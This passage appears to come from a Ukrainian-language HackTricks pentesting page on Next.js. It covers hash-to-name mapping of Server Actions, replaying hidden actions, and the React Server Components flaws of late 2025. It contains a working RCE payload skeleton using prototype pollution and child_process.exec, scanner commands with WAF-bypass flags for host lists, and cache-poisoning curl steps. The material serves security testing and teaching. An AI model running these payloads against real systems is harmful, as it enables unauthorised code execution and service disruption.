  • Розділення коду: Використовуйте динамічні імпорти, щоб розділити код і зменшити час початкового завантаження.
  • Кешування: Реалізуйте стратегії кешування для відповідей API та статичних ресурсів.
  • Ліниве завантаження: Завантажуйте компоненти або ресурси лише коли вони потрібні.

Приклад:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Перелічення Next.js Server Actions (hash to function name via source maps)

Сучасний Next.js використовує “Server Actions”, які виконуються на сервері, але викликаються з клієнта. У production ці виклики непрозорі: всі POSTs потрапляють на спільний endpoint і відрізняються build-specific hash, який відправляється в заголовку Next-Action. Приклад:

POST /
Next-Action: a9f8e2b4c7d1...

Коли productionBrowserSourceMaps увімкнено, minified JS chunks містять виклики createServerReference(...), які leak достатньо структури (плюс відповідні source maps), щоб відновити відображення між action hash та оригінальною назвою функції. Це дозволяє зіставляти хеші, помічені в Next-Action, з конкретними цілями, такими як deleteUserAccount() або exportFinancialData().

Підхід витягання (regex on minified JS + optional source maps)

Шукайте завантажені JS чанки на предмет createServerReference і витягніть хеш та символ функції/джерела. Два корисні патерни:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Group 1: server action hash (40+ hex chars)
  • Group 2: символ або шлях, який можна відновити до оригінальної функції через source map, якщо він присутній

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Практичний робочий процес

  • Пасивне виявлення під час перегляду: захоплюйте запити з заголовками Next-Action та JS chunk URL-ами.
  • Завантажте зазначені JS bundles та супутні *.map файли (коли присутні).
  • Запустіть regex вище, щоб побудувати словник hash↔name.
  • Використовуйте словник для таргетування тестування:
    • Тріаж на основі імен (наприклад, transferFunds, exportFinancialData).
    • Відстежуйте охоплення між збірками за назвою функції (hashes змінюються між збірками).

Виконання прихованих дій (template-based request)

Візьміть дійсний POST, спостережений у проксі, як шаблон і замініть значення Next-Action, щоб націлитись на іншу виявлену дію:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.

Автоматизація Burp

  • NextjsServerActionAnalyzer (Burp extension) автоматизує описане вище в Burp:
  • Аналізує історію проксі на наявність JS chunks, витягує createServerReference(...) entries, та парсить source maps коли вони доступні.
  • Підтримує пошуковий словник hash↔function-name і де-дуплікує між збірками за іменем функції.
  • Може знайти валідний шаблон POST і відкрити вкладку Repeater, готову до відправки, з підставленим хешем цільової дії.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Примітки та обмеження

  • Вимагає productionBrowserSourceMaps enabled in production, щоб відновлювати імена з bundles/source maps.
  • Function-name disclosure не є вразливістю сама по собі; використовуйте її для наведення під час пошуку і тестуйте авторизацію кожної дії.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.

NodeJS - proto & prototype Pollution

Ланцюжок атаки в Flight-чанках

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Переприв’язка до глобального конструктора Function: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Виконання коду через _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Картування експозиції React Server Functions

React Server Functions (RSF) — це будь-які функції, що включають директиву ‘use server’;. Кожна form action, mutation або fetch helper, прив’язана до однієї з таких функцій, стає RSC Flight endpoint, який охоче десеріалізує attacker-supplied payloads. Корисні кроки розвідки, витягнуті з оцінок React2Shell:

  • Static inventory: шукайте директиву, щоб зрозуміти, скільки RSFs автоматично експонується фреймворком.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app вмикає App Router і директорію app/ за замовчуванням, що непомітно перетворює кожен маршрут на endpoint, сумісний з RSC. Асети App Router, такі як /_next/static/chunks/app/ або відповіді, які стримлять Flight chunks через text/x-component, є помітними підписами, видимими в Інтернеті.
  • Implicitly vulnerable RSC deployments: React’s own advisory зауважує, що додатки, які постачають RSC runtime, можуть бути експлуатовані навіть без явних RSFs, тож вважайте підозрілими будь-які збірки, що використовують react-server-dom-* 19.0.0–19.2.0.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. повторно використовують той самий serializer і успадковують ту ж віддалену поверхню атаки, поки не вбудують патчені збірки React.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: вразливі у 19.0.0, 19.1.0–19.1.1 та 19.2.0; виправлені у 19.0.1, 19.1.2 та 19.2.1 відповідно.
  • Next.js stable: релізи App Router 15.0.0–16.0.6 вбудовують вразливий RSC стек. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 містять виправлені deps, тому будь-яка збірка нижча за ці версії є цінною метою.
  • Next.js canary: 14.3.0-canary.77+ також постачає buggy runtime і наразі не має патчених canary-збірок, що робить ці підписи сильними кандидатами для експлуатації.

Remote detection oracle

Assetnote’s react2shell-scanner надсилає спеціально створений multipart Flight-запит до кандидатних шляхів і спостерігає за поведінкою на сервері:

  • Default mode виконує детермінований RCE payload (математична операція, відображена через X-Action-Redirect), підтверджуючи виконання коду.
  • --safe-check mode навмисно пошкоджує Flight-повідомлення так, що патчені сервери повертають 200/400, тоді як вразливі цілі видають HTTP/500 відповіді, що містять підрядок E{"digest" у тілі. Ця пара (500 + digest) наразі є найнадійнішим віддаленим оракулом, опублікованим захисниками.
  • Вбудовані перемикачі --waf-bypass, --vercel-waf-bypass та --windows коригують розмітку payload, додають префікс непотрібних даних або замінюють OS-команди, щоб ви могли перевіряти реальні ресурси в Інтернеті.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Інші недавні проблеми App Router (кінець 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads можуть загіпнотизувати RSC resolver у нескінченний цикл (pre-auth DoS) або примусити серіалізацію скомпільованого коду Server Function для інших дій. App Router builds ≥13.3 уразливі до цього до застосування патчу; 15.0.x–16.0.x потребують конкретних рядків патчу з upstream advisory. Використовуйте звичайний Server Action шлях, але стрімте text/x-component body з аб’юзивними $ references. За CDN зависле з’єднання утримується відкритим таймаутами кешу, що робить DoS дешевим.
  • Triage tip: Непатчені цілі повертають 500 з E{"digest"} після malformed Flight payloads; запатчені збірки повертають 400/200. Тестуйте будь-який endpoint, що вже стрімить Flight chunks (шукайте Next-Action headers або text/x-component responses) і відтворюйте з модифікованим payload.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – відсутній Vary дозволяє Accept: text/x-component response потрапити в кеш і віддаватися браузерам, що очікують HTML. Один priming request може замінити сторінку сирими RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Якщо друга відповідь повертає JSON Flight data замість HTML, маршрут піддається отруєнню. Очистіть кеш після тестування.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks